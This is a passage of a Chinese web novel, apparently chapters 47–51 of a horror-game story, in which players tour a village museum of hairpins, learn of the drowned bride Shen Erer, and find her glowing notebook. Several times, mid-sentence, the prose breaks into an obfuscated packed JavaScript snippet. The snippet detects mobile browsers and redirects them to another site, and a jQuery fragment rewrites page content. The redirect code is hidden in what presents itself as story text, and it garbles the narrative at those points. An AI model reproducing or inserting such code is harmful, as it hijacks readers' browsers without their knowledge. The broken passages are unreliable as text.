陈锦瑶几不可察地点点头。 康林继续:“但你又说不明白是哪里不舒服,因为他的话乍一听是在夸你。” 陈锦瑶点头的幅度明显大了,眼睛也亮晶晶地看着康林。 康林露出一个凉凉的笑,声音突然大了:“哪里有这么用词的。” “我家瑶瑶足智多谋一表人才,知道要用符合身份的语音获得npc信任。” 她目光凝在黄成钢身上:“而有的人,少用那些华而不实的词来形容她。” 宁时闻言,对康林和陈锦瑶挑眉笑了笑。 黄成钢则是大声干咳了下,却也没有再说乱七八糟的话了。 一行人跟着李叔穿过展馆之间相连的走廊,他们的影子在灯火之间移动。 江晏低了下头,然后精神了——他的影子明显比其他人淡一圈。 他便悄咪咪又凑到宁时身边,两人并排走着。 好在这连廊不算长,走过后,便来到了另一方天地。 李叔的声音幽幽传来:“她们留下的东西,都在这里。” 众人抬头,被眼前的景象震住。 这间屋子的墙壁通体砖红色,室内没有高高低低的陈列柜,只有一面极为巨大的玻璃墙,拔地而起,上面连着屋顶,在不算宽敞的村志馆里显得气势宏伟。 若是看仔细些,这堵玻璃墙是有厚度的,约两拃厚,里面被横平竖直地分割成了数不清的小空间。 每一个都方方正正,里面都盛着什么东西。 李叔站在这玻璃墙下,笑了:“你们不过来看看吗?” 江晏惦记着任务,抬腿就往前迈去。 胳膊上一沉,江晏扭头,看到是宁时站在他身后,眉头微微挑起,伸出一只手拽着他。 江晏:? 宁时:“等一下。” 只要是宁时的要求,江晏大部分时候还是很乐意满足的。 于是他便收回了脚步。 这么一停顿,原本在他后面的黄成钢,便成为了第一个踏进这个展厅的人。 宁时看着黄成钢的背影,眯了眯眼睛,用气声在江晏耳边道:“行了,走吧。” 他说话间呼出的热气扑在江晏耳边和颈侧,江晏觉得有点痒的同时,又想起了第一个世界里宁时装模作样撩自己的时候。 便忍不住偏头看了宁时一眼。 果然,宁时还是没什么表情的样子,用一双漆黑的眼睛和他对视着。 由于这个世界里江晏和宁时还没有接触太久,摸不清套路,此时见了宁时这副模样,一时还真是分不清真情假意。 江晏心里把宁时锤了一顿,面上却不动声色地收回目光。 来日方长。 李叔还在前面,玩家和npc便顺着李叔的话,陆续走进展厅,来到了这玻璃幕墙前。 离得近了,才发现这里面一个个小格子里的东西,都是同一种。 ——是发簪。 整整一面墙里,都是大大小小,材质款式各异的发簪。 粗略估算,竟有二百余支。 有华丽的金丝镶嵌红宝石的,相比它曾经属于一位有身份地位的女子。 也有通体用白银打造,做了一只梅花的造型,枝条遒劲,蕴含风骨意趣。 当然,这两只是这些发簪里面比较好看的那类。 难以数清的发簪中,最常见的还是铜质、木质的材料。 这才是大部分人会用到的东西。 江晏在玻璃幕墙前一步步走着,每走过一步,他面前就会出现一列新的簪子。 它们或新或旧,或完好或缺损。 它们用于固定头发的尖端,在村志馆的顶灯下泛着尖锐的一点亮光。 江晏走着,他在看到这些簪子后退的同时,也能看到自己的脸在玻璃幕墙上流动。 在一块块玻璃的拼接处,还会发生轻微的形变,看上去有些失真。 连带着自从进了这个屋就一直跟在他身后的宁时的脸,也在扭曲,恢复,再扭曲。 就像在一个漫长的梦里沉浮。 江晏在玻璃的反光中与宁时对视。 宁时安静地对他笑了。 此时他的脸正好映在一块方格之间,江晏看了,只觉得他被困在了一个小小的玻璃缸里。 或者说,自从他渡劫失败后,宁时就一直困在了看不见的玻璃缸里。 在等着江晏,或者就是他自己,从外面、从里面打碎玻璃。 江晏摇了摇头,把这些乱七八糟的想法驱出脑外。 当务之急是这个世界的任务。 江晏看着面前的发簪,耳边响起来玩家们小声交流的声音。 “咱们的任务!” “对……是什么来着?我记得和发簪有关。” “对对对,是找到一百年多前新娘沈二二的死因,并把她最重视的发簪还给她!” “可是沈二二是谁?” “咱们要么还是先听李叔讲吧,也许他说着说着,能说到沈二二呢。” …… 李叔的声音在屋子里响起,带着隐约的回音,讲述曾经的故事:“你们看从下往上数第五行的格子,找到98号。” 宁时听了,便拉着江晏挨个看过去。 李叔这么一说,他们才发现这里的每个玻璃格子都有编号。 一个一个看过去,很快就找到了98号。 见了98号的样子,江晏微微挑眉——这是他刚才多看了两眼的白银梅花簪。 江晏拍了拍宁时,示意他找到了。 很快,玩家们和叶明净也跟着宁时聚拢了过来。 李叔见大家找到了,便继续把故事讲了下去:“这就是李家当年那位李三花姑娘出嫁时戴的簪子。” 宁时抬眼,语调上扬:“姑娘?” 听了这简短的疑问,李叔就又笑了:“对,我没有说错,就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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往好处想,甚至离真相越来越近了。 npc果然是npc,李叔对玩家们炯炯的目光视而不见,好像对面依然是一群普通的、来研学的学生,他继续说着那些往事。 “其实,卫余泽一开始要娶的人,就是沈二二。” “他当时甚至已经去迎娶沈二二了……” 李叔的话被黄成钢打断了。 黄成钢摆摆手:“李叔,你说的这就奇怪了啊。” “那卫余泽明明要娶沈二二,然后再去娶李三花,那这样,李三花应该是看沈二二不顺眼啊。” “还是说她吃醋,对卫余泽因爱生恨,才杀了卫余泽?” 黄成钢自信满满的话音落地后,剩下的玩家目瞪口呆地看着他。 黄成钢似乎对众人的目光很是满意,点点头:“我说的有道理吧。” 整个展厅里静默了有足足五秒。 最后康林发出一声短促的尖叫,踢了他一脚:“你闭嘴啊啊啊———要先把故事听完啊!” 48. 沈二二 黄成钢本来对踢了他一脚的康林有所不满,但他看到大家都用一言难尽的表情盯着自己后,也就识趣地闭上了嘴,暂时没有继续作妖。 李叔的故事便得以继续讲了下去: “咳……我说到哪里了?” “哦是这样,卫余泽虽然一开始娶了沈二二,但就在沈二二出嫁途中,不知怎地,人落水了。” “喜事就这样变成了丧事。” “有一种说法是,沈二二不愿意嫁给卫余泽,这才投了水。” 陈锦瑶弱弱的声音传来:“所以这只是一种可能,并没有确定是吗?” 李叔点点头:“是啊,多少年前的事了。” “而且当时的具体情况,也恐怕只有卫家人才知道。” 众人得了答案,点点头,示意李叔继续。 “这件事后,沈二二家里又发生了些变故。” “她的弟弟,沈冬,不知为何得了急病,不治而亡了。” “就这样,沈家可以说是瞬间就垮掉了。” “后来,卫余泽便来我们家提亲,准备求娶李三花。” “当时虽然李家有些钱,但却是不能与卫家相比的。因此,李三花的意愿并不重要,她只需要按着卫家的想法做就好了。” “当时李三花对这门婚事有些抗拒,但还是正常准备出嫁的物品,人们都以为她是因为好姐妹沈二二的死亡,才对婚事稍有顾虑。” “但却怎么也想不到她会和卫余泽一起死掉。” “李三花死后,我们把她接回来了。当时她头上还插着出嫁时戴的发簪。” 李叔指了指面前的玻璃格子:“就是这个白银梅花簪。” “至于这惨案中间的缘由,两家也调查过,但没什么准确的结论。” “而这件事之后卫家的反应……就有意思了。” 展厅里的灯光似乎又暗了暗,李叔的声音响着:“卫家家主,卫余泽的父亲自然是震怒,准备把整个李家处理了。” “但是如今我作为李家的后人,在这里给你们讲故事,自然证明没有实现。” “据说是卫家家主的几个亲兄弟姐妹,见家主的独苗儿子没了,便起了其他心思,开始夺权。” “最后确实把卫家搞散了,卫家分家了,这一片混乱中,自然没有什么人来理会我们李家了。” “但李家还是受到了影响,渐渐没落了下去。” 李叔的声音停了停,然后他看着玩家道:“我讲完了。” 玩家们面面相觑。 陈锦瑶没忍住,疑惑地“啊”了一声。 李叔听见了,看着她:“怎么了?嫌我讲得不够详细?” 陈锦瑶:“呃……” 虽然说李叔刚才给了他们不少信息,但是和这次任务主题相关的沈二二的内容,却近乎为零。 宁时向前迈了一步:“李叔,可以也给我们讲讲沈二二吗?我们听了您刚才讲的故事,感觉这个人也值得研究一下。” 李叔听了,却闭着眼挥了挥手:“那你们就感觉错了,她没什么好研究的。” 众人:…… 李叔抬手指了个方向,江晏看过去,似乎是他们一行人来时的方向:“那边儿,是沈二二原来的家。” “有点远,和这里隔着一片荒地和池塘。” 听到这里,江晏越发确定,沈家旧址就在他的住处附近了。 宁时也与他交流了一下视线,显然也是想到了这层。 李叔的声音拔高了:“但是那边都荒了多少年了!” “我们村,几乎家家户户都拉了电线,通了水,可是沈二二家的旧址,由于没人了,什么都没有弄。” 一时间,四个玩家的目光齐齐聚在了江晏身上。 江晏也是陡然被迫知晓了自己在这个世界的住处就是沈二二家的旧址,内心极为震撼,一时间连半个字都说不出来。 李叔似乎看不到玩家之间的暗潮涌动,还在说着:“你们要是非要想知道一点沈二二故事的话,那只有这个了。” 他站起来,向玻璃幕墙的另一端走去。 众人的目光不得不从江晏身上拔下来,跟着李叔扭过去。 李叔在某个格子前停下了。 众人的目光也凝聚在了他面前的那个格子里。 那里有一只黄色的发簪,上面雕刻了一只展翅飞翔的大雁。 黄成钢凑近了:“金子做的?沈二二家里有钱给她用金发簪?” 李叔看着面前的格子,语气平静:“是黄铜做的,不是金子。” 停了停,又说:“不怎么值钱。” 康林似乎想到了什么,语气古怪:“你刚才说……沈二二是出嫁途中落水而亡的。” 李叔点点头。 康林的语气更奇怪了,嘴角还在微微抽搐:“你还说,这里女孩子出嫁会戴着发簪。” 江晏和玩家隐约猜到她要问什么了,脸色都开始发绿。 果然,只见康林深吸了一口气:“所以你们怎么把簪子弄到村志馆里的?” “是近几年出土的,还是当时……” 李叔领会到了她的意思,干咳了一声:“这我就不清楚了。” “不过我能保证,这里的东西都是那个年代留下来的东西。” 李叔话音刚落,村志馆里突然有钟声阵阵。 听了这声音,李叔脸色一变,微微正色:“这是闭馆的钟声。” 江晏奇道:“我们还没有逛多久嘛。” 李叔摇了摇头:“这和你们逛了多久没有关系,钟声响起,就需要闭馆了。” “而且村志馆本来就不算大,我带你们看了这两个展厅,就相当于把村志馆转了个遍。” “现在闭馆了,你们该出去了。” “明天还是可以再来的。” 众人听了,没有再提出异议,都乖乖地跟着李叔走了出去。 踏出展厅的一瞬间,江晏莫名想回头,于是便回头看了一眼。 按着恐怖片的传统套路,这时候他应该看到一些不该看到的东西。 但实际上,江晏什么也没有看到。 展厅发着幽暗的光,像一个麻袋的开口。 江晏收回视线,和宁时并排走着。 此时外面天光正盛,约莫是正午左右的时间。 宁时看了眼江晏:“你知道闭馆时间一般是……算了。” 宁时脸上罕见地露出一个无语的表情——主要是针对江晏失忆的事情。 江晏也猜到了宁时的心理活动,摊摊手,又指着叶明净:“你知道的,别问我,问他试试。” 叶明净走在他们前面,此时像脑后长了眼睛一样回过头来:“我就等着你们问我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那旁,李叔对众人挥了挥手,竟是一个告别的姿态:“我老头子准备回家了啊。” “就先不陪着你们了,让小叶子好好招待一下你们哈。” 说罢,转身离开了。 剩下众人面面相觑。 黄成钢看了眼村志馆外的时间:“……快一点了。” 叶明净挠挠头:“来我家吃午饭吧。” 众人沉默了一瞬,便愉快地答应下来。 毕竟谁能拒绝副本里的一个提供安全食物的信息型npc呢? 于是众人又向叶明净家的方向走去。 江晏抬腿走了几步,感觉哪里不对劲。 他低下头,看到了自己手中属于宁时的那只手。 ……好像还没有熟到可以拉手的地步。 江晏揣摩着,假模假样地咳嗽了一声,抬手去捂嘴,顺势就撒开了宁时的手。 哦吼,这下感觉就正常了。 江晏一边咳着,一边悄悄去觑宁时的神色。 …… 不知是不是他的错觉,江晏感觉宁时的脸色好像比刚才黑了点。 49. 死水 在叶明净家吃过饭后,已经过了晌午,玩家们便打算原路返回,回到江晏家里整理线索。 中间,叶明净自然是盛情邀请过玩家来自己家里住。 但大家都想到了刚才在村史馆里,李叔提到的沈二二家旧址,并高度怀疑就是现在的江晏家。 四人交流了眼神,准备婉拒叶明净。 康林推了下宁时。 宁时看了看她,又对陈锦瑶和黄成钢点了下头,面向叶明净笑道:“谢谢小哥了,不过我们已经给你添了这么多麻烦了。” 叶明净摆摆手。 宁时在他开口之前继续说着:“我们在这位小哥家也住得挺好……” 江晏看不下去了,他感觉自己再不阻止的话这两人能拉扯个没完没了,便想到了一个完美的主意。 ……只是有些丢脸。 江晏把心一横,一下拉着宁时,用在场所有人都能听见的声音哼唧:“你们说好了陪我住的,我一个人害怕。” 叶明净表情如遭雷击。 宁时和其他三人却是松了一大口气。 这下,热情的叶明净也不好再说什么了,但是给了五人许许多多的粮食,玩家们和江晏便走在了乡间小路上。 沿途也遇到了一些村民,几人试图打探消息,但所获得的内容都和李叔讲的大差不差,没有什么新信息了。 黄成钢搓了搓下巴:“信息临界点吧,今天估计是问不出什么的。” 康林这次没有怼他:“嗯,可能是这种方法收集的信息已经差不多了,需要找别的途径。” 陈锦瑶不知想到了什么,声音有些抖:“康姐,所以我们……要去沈二二落水的地方吗?还是研究一下那闭馆的钟声。” 康林抿起嘴,没说话。 宁时则是对着陈锦瑶坚定地点了下头。 江晏看到了陈锦瑶的表情,想必这孩子感觉天都要塌了。 康林看着陈锦瑶垮起的小脸,面无表情地转身,这次是不轻不重地踢了宁时一脚:“光吓人,还没到那个步骤呢。” 陈锦瑶的声音更虚弱了:“康姐……所以宁哥说的事只是时间问题吗。” 这次没有人回答。 沉默就是最好的答案,陈锦瑶面有菜色地跑去一边做心理建设了。 黄成钢则是小声说:“反正待会儿要回去旧址那边,要么我们先说说钟声吧。” 他用胳膊顶了下宁时:“欸,你怎么看?” 宁时默默后退两步,与他拉开距离:“没准像动物世界,那种大型食肉动物在附近时的警告。” “但这样的话,就要搞清楚警告装置是什么,在警告什么事。” 他歪歪头,示意讲完了。 康林补充:“我感觉也有可能是维修警告。” “像我们原来世界的电梯保养,总要放个提醒标志吧。” “没准是封印着什么东西,定时加固封印的警告。” 黄成钢:“……都好有道理啊。” 江晏听着,莫名想起了啾啾在刚进入这个世界之初和自己说过的那句: “有前面几种情况叠加的。” 于是他便无意识地重复了这句话。 这次,他成功引起了四位玩家的注意。 康林、宁时和黄成钢若有所思。 从噩耗里缓过了神的陈锦瑶依然语气飘渺:“如同数学里面加了物理……” 江晏瞬间想起上个世界,打了个激灵。 康林闭眼:“那我们按这个方向,明天再去看看吧。” 宁时:“可以。” 又回过头看着江晏:“你们这里奇奇怪怪的东西,可真不少啊。” 江晏露出一个无辜的眼神。 宁时:…… 他偏过了脸。 五人走了约莫半柱香的时间,隐隐能看到前方的道路边泛着白光。 黄成钢指了指:“我们是不是要到那个池塘了。” 陈锦瑶掰着指头:“我想想……我们来的时候经过了一棵桃树,一片荒地,呃,还有坟场,然后就是这个池塘了。” 她自言自语道:“嗯,没有走错。” 几人走到了池塘边,此时的天气没有什么风,水面平静,波光粼粼,反射出一片金色。 只见浮光点点,看不太清水底的情况。 宁时看着水面:“李叔说沈二二是落了水的。” 康林用鞋底蹭了蹭地面,在沙土上留下几道反复的痕迹:“当时我没想到,应该问问这村庄有几处水的。” 宁时拍了拍她:“我也没有想到。” 江晏看看池塘四周,道:“也许就是这里吧。” 黄成钢看了他一眼,抬抬下巴,“嗯?”了一声。 这副神态,要不是看有宁时在,江晏都不想说了。 他把目光挪到宁时身上:“现在不是怀疑我家那边是沈二二家旧址嘛。” 陈锦瑶没想到他直接说出来了,眼睛微微睁大。 江晏继续:“沈二二又是从家里出发,中途落水。” “那我们来村志馆的这一路,经过有水的地方就只有这里了。” 说完,江晏指了指那池塘。 宁时“唔”了一声:“有道理,反正现在也没有别的线索,可以假设一下这里就是。” 康林皱皱眉,又抬眼看向水面。 一切依然风平浪静。 黄成钢凑到水边上,蹲下,把手放了进去。 他的动作过于自然又太快了,三个玩家和江晏都震惊了。 黄成钢撩了撩水,站起来:“有什么大惊小怪的。” “我只是感受一下水流的方向。” “现在是大白天,不会有什么事的。” 康林张张嘴,明显想说什么,但黄成钢也算是有经验的玩家了,而且刚才也没发生什么,她便又沉默下来。 陈锦瑶在旁边开了口:“所以这水是怎么流的?” 黄成钢脸色便古怪起来:“水下没什么波动,感觉……没有活水的来源。” 一时间,五人齐刷刷扭头看着水面。 江晏:“……看起来这么干净的水,是死水?” 黄成钢摊手:“大概率是,干净可能因为里面形成了自己的生态圈。” 陈锦瑶:“……生态圈这个词,总让我感觉下面有东西啊。” 几人默默在池塘边缘后退了几步。 池水看不出有什么问题,现在又已经到了下午,几人决定,先回住处看看。 毕竟还有江晏住处的问题。 玩家们沿原路返回,一边留意着路过的地标,果然和李叔说的越来越一样。 众人脸上神色变幻。 江晏干咳了一声:“好像真的是沈家旧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宁时又往江晏身边凑了凑,看见了柜子和里面的东西:“这是什么?” 江晏:“不知道,随便翻翻。” 他现在是npc的身份,肯定不能对宁时说是为了找线索。 江晏喉咙滚动了一下:“看看有没有能让我恢复记忆的东西,可是里面好脏。” 他语气中带了一丝连自己也没有意识到的软:“刚打开就扑了我一脸的灰。” 宁时便转过脸盯着他。 两人相隔这个距离,江晏被他一双漆黑的眼睛看得有些不自在了:“怎么了?” 宁时慢吞吞道:“脸挺白的,没有灰。” 屋子里静了两秒后,江晏听到陈锦瑶小声笑了。 他这才反应过来宁时在揶揄他。 江晏有点炸毛,有点恨铁不成钢——在这么危险的副本世界,你是怎么又心情开玩笑的! 还没大没小的! 他张张嘴,准备让宁时严肃些。 宁时却说话了,止住了他的话头:“灰确实大,刚刚在外面还听到你打喷嚏了呢,来看看。” 50. 沈二二的笔记本 宁时说完这句话后,江晏感到自己的内心莫名恢复了平静。 气顺了,毛也不炸了。 江晏将此归结于宁时在这个世界的警惕性高。 这样大大增加了他们两人的存活率——江晏认为这么说没有问题。 宁时怎么不能算自己的一部分呢? …… 现在的西厢房里,江晏、宁时和陈锦瑶三人整齐地蹲在地上,像一排蘑菇。 都苦着脸看着橱柜里的东西。 ——实在,实在是太脏了。 江晏为了那发光的不明物体,是一定要翻这堆东西的。 而宁时和陈锦瑶作为玩家,更是要好好看看沈二二从前家里有什么。 所以,面对着堆东西…… 几人正在纠结之际,那木门又嘎吱嘎吱响了。 蹲在地上的三人抬眼望去,是康林抱着双手,靠在门框边:“你俩带着瑶瑶干什么坏事呢?” 江晏:“姐——话不能这么说,我俩多乖啊,还能教坏小朋友?” 宁时在一边扶额。 陈锦瑶则是弱弱道:“康姐,我们干正事呢。” 康林凑过来:“什么正事,我和老黄可是在外面给你们做饭呢,快说谢谢康姐。” 宁时彻底忍不住笑了:“你真会往脸上贴金。” 他指了指橱柜里的东西:“我们研究这堆东西呢。” 康林的目光顺着宁时指的方向看过去,表情也僵了一下。 屋子里沉默片刻后,只听康林“哼哼”了两声,道:“所以你们就杵在这里等着有缘人把这堆垃圾刨开?” 江晏试图纠正:“不是,我们只是没有找到合适的抹布。” 康林低头看看他,突然一言不发地转身走了。 江晏和陈锦瑶面面相觑。 宁时老神在在:“放心,她应该是去拿东西了。” 果然,宁时话音刚落,只见康林抱着她的背包又过来了,也蹲在三人旁边。 江晏:“宁……宁哥刚刚还说你拿东西去了。” 宁时这个名字在他舌尖上打了个转,又被吞了回去。 江晏愤愤地想,都怪啾啾。 这个世界里,他的身体看起来太年轻了,而宁时看着至少比自己大了六七岁。 只好叫哥。 …… 一旁,康林掏出了五双塑胶手套和一堆抹布。 三人看看这位浑身上下充满了知识气息的大学老师,再看看地上这一堆乱七八糟的东西,气氛短暂地凝固了。 康林不耐烦地抓起一双手套戴上,道:“不要用这种惊讶的眼神看你们的小百宝箱好嘛。” 众人顺从点头。 康林起身,对着门外大声道:“黄成钢——” 片刻后,黄成钢也出现在西厢房里,和众人一起带上了手套。 于是,旧屋精细清扫工作正式开始了。 西厢房橱柜里的东西不算多,几人把它们搬出来并擦掉浮土后,约莫才过去了一个小时。 本着“工具已经穿戴齐全了”的想法,五人决定一鼓作气,把其他几个房间也清理好,最后再仔细看整理出来的东西。 这么整理一番后,确实清点出不少东西。 有锤子等日常用品,还有砂锅等厨具。 砂锅明显是用过的,锅体中有几道黑乎乎的线。 在砂锅旁边,还发现了几个纸包。宁时打开看了看,里面是中药。 但是在岁月中已经腐朽地厉害,看不出什么样子了。 除此之外,还发现了几打纸,有一部分还被整齐地叠在一起,又用针线缝了起来。 天色渐晚,屋子里越来越暗。 江晏在观察这堆东西时,之间某本被缝起来的册子,微微泛着荧光。 ——正和他昨天夜里看到的光芒如出一辙。 江晏咽了口吐沫。 虽然他现在不是人了,但在此刻,他依然感受到心跳快了。 啾啾适时地发出提示:“不要紧张。” “你现在是npc,又不是玩家。” 江晏:“……” 他不动声色地观察了四周,宁时还在研究那包中药残骸,黄成钢一边抓着馒头吃,一边摆弄着一套看起来是打铁的工具。 至于陈锦瑶和康林,则是蹲在一起,翻着那些散装的纸。 嗯,距离那发光的册子有一段距离。 江晏在心里计算了一番自己的行动轨迹与玩家们的行为模式后,悄咪咪地走到那本册子,抓起。 这处村庄虽然在北方,但附近有池塘等水系,因此还算不上太干燥。 所以他手里那本册子,也没有出现轻轻一捏就碎掉的情况。 相反,摸起来还是纸张的正常触感,只是更薄了些。 江晏拿起册子和其他几页纸站了起来,靠在墙上,翻开了这本发光的册子。 他从后往前翻了一下,果然,这册子的写作顺序和他原来的世界大致相同。 就连文字也几乎一模一样。 一笔一划间,看得出来是一个女孩子用来随手记录什么东西的地方,已经几乎写满了字,只在最后留了几页空白。 女孩字迹普通,但胜在整齐。 江晏粗略看过去,似乎能看到女孩有时候端坐在桌前,认真地写一天见闻;有时候应该是抱着册子,随手取了半截木炭涂着,字迹歪歪扭扭,深浅不一,在不平整之处,还会留下顿挫的痕迹。 江晏又翻回了第一页。 上面写着“甲辰年四月二十一,沈二二”。 江晏见了,心中毫无意外,反而是一种猜测被证实了的心情。 ——这藏着沈二二笔记的老房子,不出众人所料,果然是沈家旧址。 他翻到最后笔记结束的地方,试图寻找结束的日期。 但这次,他看着面前的纸页,微微愣住了。 最后的字迹极是混乱,大大小小掺杂在一起,在册子开头还能看到的笔锋这里已经完全消失了,像是写字的人已经没有力气注意这些了。 江晏皱皱眉,往前翻了几页。 人在这种情况下,确实可能忘记写日期。 他只能看看附近的记录上有没有。 再往前翻了十几页,江晏看到了纸张被划破的痕迹。 他往前再翻了一页,是力透纸背的几个大字,即便不仔细看内容也能冲进眼里:“卫余泽去死”。 下面紧跟着几列密密麻麻的小字。 江晏:…… 很好,他虽然还有仔细阅读这本册子,但已经知道沈二二和卫余泽确实有旧怨了。 江晏在这一页找到了日期。 壬子年六月三十。 江晏想起了写在册子开头的日期,甲辰年。 中间不过是隔了六年,也许一个生命就这样消失了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902361|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他翻到了第一页,准备从头开始,认真阅读一下沈二二的人生。 这时,江晏只感觉肩上一沉。 他拿着这本疑似只有自己能看到发光的册子本就做贼心虚,又被人这么突然一碰,结结实实打了个激灵。 江晏一边抬头看向来人,一边快速合上册子。 哦,是宁时啊。 宁时在这个世界不愧是成年的体型,这么站在江晏旁边,比他足足高了半头多。 江晏眯起眼,刚才受到的惊吓渐渐转变为对这个世界身高差的愤怒。 但面前的宁时是不会猜到他在想什么的。 江晏听见他的声音微微带了点调笑,尾音似乎有小钩子:“怎么这么胆小。” 江晏还沉浸在对身高差的愤怒中,有点没好气:“你哪只眼睛看到我胆小了。” 宁时的手还没有从他肩膀上离开,此刻顺势拍了拍江晏肩膀:“刚才都吓得打抖了。” 江晏愤怒了:“明明是你走路没声音!” “任谁旁边突然多出来个人都要吓一跳吧。” 他说完,瞪着宁时。 却只见宁时又笑了笑——江晏感觉他没刚进入副本时那么高冷了。 宁时道:“我的错。” 江晏点头:“嗯,还算有自知之明。” 啾啾目睹了一切。 在经历了第一个世界后,它对两人的互动容忍度提升了很多。 但在此时,也忍不住对江晏吐槽:“你俩真有意思。” 江晏:“哈?” 啾啾语调毫无起伏,像一个没有感情的机器人:“这个世界里,你作为一只鬼,居然被宁时这个人类吓到了。” 江晏:…… 啾啾给出了总结性评价:“真丢鬼啊。” 江晏不理它了。 身边另一个人的气息忽然近了。 江晏还没有反应过来,手里一轻,原本拿着的册子被宁时抽走了。 江晏看着宁时粗略翻了几页,正要说什么,宁时却先开了口:“你怎么在看一本空白的册子?” 江晏:?? 宁时又把沈二二的笔记塞回了他怀里:“别看这个了,和我研究点别的去。” 说完,就要顺势拉走江晏。 江晏一把拍下了他的手:“你看不到这册子上的字?” 宁时听了,眼神微微变了:“怎么,你看到的和我看到的不一样?” 见宁时这般反应,江晏基本可以确定,宁时是真的看不出来上面有什么。 ——这册子绝对有问题! 面前,宁时的目光明显带了探寻和思考的意味。 江晏也不确定自己能看见是因为什么原因,只能打哈哈:“我看到的是一本空白册子。” 宁时对他的回答没有作出评价,只是继续盯着他。 江晏翻了个白眼。 不信就不信吧。 以他对自己的了解,即使宁时真的怀疑什么,也只会先自己不声不响地去查。 在确定了七八成之后,才会又下一步动作。 换句话说,宁时就算怀疑自己,也不会做什么过分的事。 现在,江晏准备就咬死了看不见册子上的东西,宁时也奈何不了他。 果然,两人这样对视片刻后,宁时先败下阵来,移开视线:“算了,不说这个。” “我刚刚还打算叫你一起看看那堆中药呢。” 51. 中药 听了宁时这句话,江晏诡异地沉默了一瞬。 世间的巧合不过如此了。 在上个世界,江晏最后学了医,走的还是中西医结合的路子。 此时再听到宁时这么多,便有些恍如隔世的感觉。 江晏在心底告诉自己别走神,一边跟宁时走去,嘴上却道:“什么中药?” 宁时将他带到一堆杂物边:“是一个用过的锅,几包药,几张药方。” 又看着江晏:“我认不出上面的字了,想看看你能不能认出来。” 江晏便依言用两根手指慢慢夹起一张药方——确实不得不小心,写药方的纸本来就薄,再经过这么多年,保存完整程度比沈二二的笔记差远了。 稍微一使劲,可能就碎了。 天色已经昏暗下来。 江晏接着窗外残余的天光和屋里的油灯,眯起眼,努力辨认着上面的字迹。 什么什么参,还有什么什么花…… 江晏无奈放下这张纸——上面的字迹已经到了无法辨认的程度。 他的目光从药方移到了药包上。 药方是看不出什么了,但药包里也许有线索。 江晏抬头,准备问宁时自己能不能打开这几包药看看。 却刚好对上了宁时的目光。 也不知道他看了多久。 江晏不知怎地,感觉有些不自在,又低下头随手拿起一包药:“我能拆开吗?” 宁时的声音从他头顶飘过来:“嗯,拆吧。” 得了允许,江晏便大胆动作起来。 也许是隔着几层纸,这些中药保存地还算完好。 江晏粗略扒拉了几下,已经认出了延胡索、丹参、红花、姜黄等几味药材。 看起来是活血化瘀的药。 他又抬头,目光再次撞进了宁时眼里。 江晏:…… 宁时这个状态,不太对劲。 他们现在是玩家和npc的关系,有这个前提,宁时对他似乎过于关注了。 难道是魂魄只见莫名的吸引力? 江晏不是很相信这个。 他现在有点搞不明白宁时在想什么了。 宁时又说话了:“你看出什么来了吗?” 江晏:“……刚刚明明是你把我叫过来,结果打开的药包你是一眼不看,光问我了。” 宁时声音似乎微微拖长了点:“我又看不懂,你呢。” 江晏被噎了一下,随后陷入了纠结。 他现在是失忆npc的人设,而且也确实不知道这个npc的身份。 在这种情况下,其实最稳妥的方式是说不知道。 但是说了也没关系的,江晏想。 反正失忆后选择性保留一些东西也是正常的。 反正这个世界的身份还没开盲盒。 反正……对面是宁时。 所以说出来也没有关系的。 毕竟,如果连面对另一个自己的时候还要遮掩的话,那生活也太痛苦了。 于是江晏顶着宁时的目光,清了清嗓子:“这些是延胡索、红花之类的药。” 宁时的视线在他和药包之间打了几个转,点点头,没有说什么。 江晏便继续说了下去:“活血化瘀的药,有的还能止痛,可能用于跌打损伤。” 宁时“噢”了一声。 江晏看他又拿起那个砂锅,不知在看些什么,便起了好奇:“你这堆东西从哪里找到的?” 宁时伸手指了一处柜子:“那边,东西还没清完,砂锅地下本来用纸垫着,我还没拿出来。” 江晏便走去,弯下腰看向橱柜里面。 借着不算明亮的光,他确实看到了一打纸。 江晏心思动了动,想到了同样是在橱柜里发现的沈二二笔记,便伸手去掏面前这叠纸。 这些纸不算厚,约莫小指一个指节高。 江晏刚拿出来,就被宁时自然地接了过去。 江晏不由得再看了宁时一眼——分魂现在对他的态度有些殷勤和黏糊了。 也不知道是哪里出了问题。 江晏和宁时并排坐着,一人拿着一边纸,同步翻着。 宁时:“……空白页。” 两人又一起掀过一张纸,宁时又道:“还是白纸。” 江晏“嗯”了一声。 此时的白纸确实是白纸,并没有像沈二二的笔记一般,出现了有人能看到字有人看不到的情况。 如此翻了七八页后,江晏后知后觉感到了两个人姿势的别扭。 